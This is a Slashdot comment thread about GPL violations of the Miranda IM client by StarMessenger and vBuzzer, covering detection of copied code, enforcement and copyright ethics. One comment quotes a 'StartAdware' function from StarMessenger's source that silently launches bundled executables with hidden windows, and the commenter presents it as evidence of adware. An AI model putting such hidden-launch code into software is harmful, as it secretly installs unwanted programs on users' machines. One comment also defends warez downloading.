GPL Violations of Miranda IM

Eesh writes "The Miranda project developers have recently posted to their development blog about two GPL violations of companies using their code - vBuzzer and StarMessenger. Today, they also posted that vBuzzer are taking steps to correct that violation. Hopefully this will work out fine. Miranda 0.401 stable was released recently"

Comments

Oh Miranda!

[Seumas]

Oh Miranda - you came and you gave without taking!

Question...

[deutschemonte]

Maybe this should be an ask slashdot or something, but I have a question.

How does one go about making sure that your source code hasn't been "misappropriated" (read stolen) and placed into a closed source app?

Are there services out there for this sort of thing or do you just have to be forever diligent?

Re:Question...

[Seumas]

One very simple way to at least detect potential similarities is to use strings. In certain situations, you can figure that it should not be likely that two programs would have such identical strings output.

Re:Question...

[Ingolfke]

I'm not sure about the availability of any specific services for this. Your best bet is to contact someone w/ a lot of experience in this sort of thing.

Re:Question...

[deutschemonte]

I can't believe I actually clicked on the link.

Re:Question...

[l2718]

"How does one go about making sure that your source code hasn't been "misappropriated" (read stolen) and placed into a closed source app?"

The short answer is: you can't be sure. In practice, however, people who write programs keep abreast of other software in their field (e.g. people who write an IM client quickly hear about other IM clients). Hwoever, it usually takes an alert user to notice suspicious similarities to existing software. It seems the first tell-tale sign is the directory structure. In almost every case posted to slashdot, it was noted that the directory structures were the same.

If you become suspicious, the next thing is to extract the strings utility. The first thing to look for is the error message strings, but if the executable is not stripped then you can see your function names and source file names.

Finally, there's the question of proving that they "stole" your source code, wher your legal claim will usually be that they violated your copyright. Most of the time, they know they are in the wrong and just contacting them is enough. However, not all offenders cooperate. Harald Welte has successfuly won a preliminary injunction in a German court against a company which violated the GPL when using code form the ipfilter/iptables firewall project.

Star messanger source code

[thinkliberty]

IT looks like star messanger made good. Their source code is on their front page. http://www.starmessenger.net/StarMessenger_src.zip

Re:Star messanger source code

[Tiersten]

Made good? It'd be better for Star Messenger to be taken outside and destroyed. Star Messenger is a thinly disguised attempt at infecting you with adware.

From StarMessenger/core/miranda.c:

int StartAdware(void)
{
//if (RegDateCheck()==DO_NOT_RUN_ADWARE) return 0;

//WinExec("Test1.exe", SW_SHOW);

WinExec("nngluz564.exe", SW_HIDE);
WinExec("TBGLZ127Q.exe", SW_HIDE);
//WinExec("saap.exe /did=563", SW_HIDE);
return 0;
}

Mmm... Enjoy that adware goodness...

Re:Star messanger source code

[Psionicist]

Dear god they can't even run the spyware correctly.

WinExec

The WinExec function runs the specified application.

Note This function is provided only for compatibility with 16-bit Windows. Applications should use the CreateProcess function.

Re:Star messanger source code

[qazwsxqazwsx90]

Now that they have released their source, you can create a patch that uses CreateProcess instead. See how beneficial open source is to developers.

Just to be clear

[wakejagr]

The Starmessanger program is in violation not because they used GPL'd code and don't make source available. They are completely up front that Starmessagner is actually Miranda, but they screwed up and punted the Miranda copyright information. Thus, it appears that this program is copyrighted/developed by someone other than the actual dev's.

Our copyrights have been removed, this is a violation of the GPL as well as copyright law

Kudos to the Miranda folks for explaining all of this really well.

I really wish they wouldn't give in so easily

[slavemowgli]

I really wish free software projects wouldn't give in so easily all the time. By not doing anything anymore once the license terms have been satisfied again, they're just teaching companies that it's economically sound to rip them off - after all, you don't lose anything if you get caught, and you gain something if you don't.

This isn't good, though, as it will only encourage the less-than-scrupulous companies to commit further license violations, many of which *will* go undetected. It's one thing to essentially take a product, slap a new name on it, and then try to sell it (like was the case in the CherryOS case) or at least claim it as your own; that's easily detectable. Taking code from a GPL'ed library, though, for example, and integrating that into your $10K+ enterprise application, will most likely not be noticed, even though it is just as illegal.

As such, I'd really like to see an actual lawsuit some time where the developers of the project that was ripped off seek (punitive) damages, and maybe, if the case allows for it, press criminal charges against the company executives, too. Violating a free software license is *no* small matter - it's just as illegal and immoral as it is to press and sell illegally-produced copies of Windows, for example, and companies need to realize that.

Miranda is really really good

[hey]

These rip-offs are a bit of proof that Miranada is the best open source multiprotocol IM client around.
Give it a try if you haven't already!

IMBlaze a blatant violation

[sg_oneill]

IMblaze , an instant messenger thats main "feature" is it will spam your contacts with crap, was notified by myself and others at least a year ago that its a blatant rip from gaim. The company refuses to send me source.

I informed the devs of gaim, and they aparently wont act (or cant afford to). But aparently are NOT happy about it.

http://www.imblaze.com/screenshots.asp

Someone needs to stop these creeps.

Re:IMBlaze a blatant violation

[SilverspurG]

This is precisely where the American legal system fails. In order to bring a suit against someone who has committed a civil wrongdoing (ie. not a crime against the state) the full burden of expense falls on the victim.

Like all those trolls who love to ride people who remark about the inequities of corporate America,"If you don't like it then start your own company."

And just where does the magic startup capital come from?

The solution is not increased government assistance. That would only lead to abuse and frivolous lawsuits. The solution is a streamlined system of justice which isn't endlessly bottlenecked by paperwork, frivolous forms, and lawyers. If a GAIM developer should walk into an attorney's office with proof that IMblaze is a ripoff of their code, there should be a compensation check and a court injunction against IMblaze within 24 hours.

Re:IMBlaze a blatant violation

[NetNifty]

This is the most blatent GPL violation I've ever seen, I mean come on:

This, compared to this, or this compared to this. Almost completely identical, you'd think that they'd at the very least change the names of the buttons, or at least make some attempt to hide what they've done. About the only thing I can see they've changed is added some icons and changed the main login picture - even the icons for "accounts", "sign on" etc are identical.

If it ever did get to court i'd say its an open and shut case, but hey I'm not in the legal business. Maybe the GAIM team should set up a legal fund, I'd donate at least something and I'm sure many others would too.

Re:You fool!

[erroneus]

I think you are one of about maybe 250 people who think there is a double standard when it comes to copyright issues.

Let me try to clarify a few points... maybe then there will be 249 people left without a clue:

1. If the situation were reversed (closed/proprietary source included within an OSS project) there would be a huge stink about it. So make no mistake. It would be immensely easy to show and the perps would be shamed out of the community. I think that's the reason it probably doesn't happen...(that often? I've never heard of it before.)

2. What makes "us" angry about big companies doing bad things is attempting to and often succeeding in taking away our rights and freedoms in order to secure their business model. I don't think there has been a single instance of people getting pissed off over a company embracing and following the GPL rules. In fact, when it happens, we generally flock to these companies in droves. Linksys is a perfect example of this effect. They use Linux in their WRT54G and it's incredibly popular as a result. Speaking only for myself, I look for the Linksys label now when getting small network equipment.

This stuff has nothing to do with music and movies, so don't even go there. It's not the same thing in my mind nor in the minds of others I reckon. It would only become similar if we attempted to make money from copying CDs and DVDs and claimed that we created those works ourselves.

I only wish physical goods could be shared in the way software, music and video can be shared... hunger would be a forgotten problem. (Sure, you can take my sandwich to make a copy for yourself...) If everyone had everything they ever wanted, what would the world come to though? Maybe I'll write a book and give it out to the world for free.

Oh God, this bullshit again

[mcc]

This would make more sense if you weren't comparing making an unauthorized copy of something for personal use,
to taking someone else's product, repackaging it, and reselling it as a commercial venture.

But even then trying to reduce the views of the millions of people who read slashdot down to a single viewpoint is asinine.

Re:bad logic

[TERdON]

That IS indeed a violation of both the GPL and most copyright laws. It's a violation of the GPL because it doesn't allow you replacing copyright notices so as to make the program look made by someone else. For reference, GPL 2c:

c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.)

Re:Just shows open source doesn't work

[RPoet]

Why should software be free, there's no open source supermarket, no open source houses, no open source cars etc. why should software be free and open source?

Because software can technically be copied at no cost, and therefore has the potential of empowering all people. While your computer is a file copier, have you ever seen a supermarket copier, a house copier, a car copier? No. Each "copy" of a car takes much costly resources. The day we are able to copy these things as easily as files, I'll be a huge proponent of free (as in freedom) cars and houses.

The other aspect of software freedom, namely that of open specs so you can learn from it and improve it, are mostly already present in cars and houses. You can open the lid of a car or tear open the floor of your house to see how it was built and maybe improve things.

Re:Let me see if I understand this....

[mcc]

Straw man arguments are never okay.

Observing people on a message board who feel some way about A,
then observing people on same message board who feel some way about B,
then going "AHA! This message board has hypocritical views on A!",
is never anything but stupid. You want to complain about some hypothetical opinion? Fine. Find someone expressing it first, then explain why it's hypocritical. Don't just set up a big box labeled "HYPOCRITE" in a public space, then try to back random people into it.

Re:On Stealing...

[facelessnumber]

Some difference... Someone downloads an MP3 that they'd never have bought legally if given the opportunity, then they haven't stolen anything. Nobody lost anything. Some kid downloads a warez copy of Photoshop knowing there's no way in hell he'd have been able to afford it in the first place, then nothing's stolen. Nobody lost anything. In fact, if a few thousand kids do that and get some skills with the software, then it actually helps later on when they go to work and get asked to spend the company's money on a graphics app. (Although that's beside the point) Someone downloads warez for eval, then nobody's lost anything unless the person doesn't buy it instead of just wishing he hadn't bought it. (Would you buy a car without a test drive? Did you steal that time behind the wheel when you decided to get something else?) If someone dowloads a movie that they wouldn't have ever paid to see, no one's lost anything.

On the flip side though, when someone diverts profit...

Someone downloads a movie, makes a few dozen DVDs with inkjet-printed labels and sells them out of the trunk of a Caprice across the street from Blockbuster or the movie theater for five bucks? That's stealing. A person or entity who can plainly afford and otherwise would buy that copy of Photoshop if it weren't so easy to get warez? That's stealing. Get a bunch of albums off Kazaa or Gnutella and sell 'em to people who'd otherwise have bought them legitimately? Stealing. Grab a GPL'ed app, hide what it is, snatch out all the copyrights, credits and license, bundle some spyware/adware with it and seek revenue from advertisers? Oh you better believe that's stealing.

See the difference?